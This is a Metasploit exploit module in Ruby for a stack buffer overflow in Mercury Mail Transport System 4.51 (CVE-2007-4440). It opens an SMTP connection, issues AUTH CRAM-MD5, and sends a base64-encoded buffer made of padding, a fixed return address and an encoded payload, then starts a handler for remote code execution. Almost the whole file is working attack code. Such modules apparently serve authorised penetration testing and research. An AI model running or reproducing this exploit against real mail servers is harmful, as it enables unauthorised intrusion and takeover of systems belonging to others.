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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
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          By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
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          may be able to execute arbitrary code.
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        },
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        'Author' => [ 'MC' ],
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        'References' => [
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          [ 'CVE', '2007-4440' ],
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          [ 'OSVDB', '39669' ],
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          [ 'BID', '25357' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Platform' => 'win',
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 600,
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          'BadChars' => "\x00\x0a\x0d\x20\x25",
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          'StackAdjustment' => -3500,
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        },
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        'Targets' => [
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          [ 'Mercury Mail Transport System 4.51',	{ 'Ret' => 0x258d0d1e } ], # ter32.dll
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2007-08-18',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([ Opt::RPORT(25) ])
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  end
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  def exploit
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    connect
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    sock.get_once
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    sock.put("EHLO\r\n")
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    sock.get_once
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    sock.put("AUTH CRAM-MD5\r\n")
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    sock.get_once
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    select(nil, nil, nil, 0.25)
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    buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')
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    buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
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    sploit = Rex::Text.encode_base64(buffer)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n")
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    handler
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    disconnect
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  end
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end
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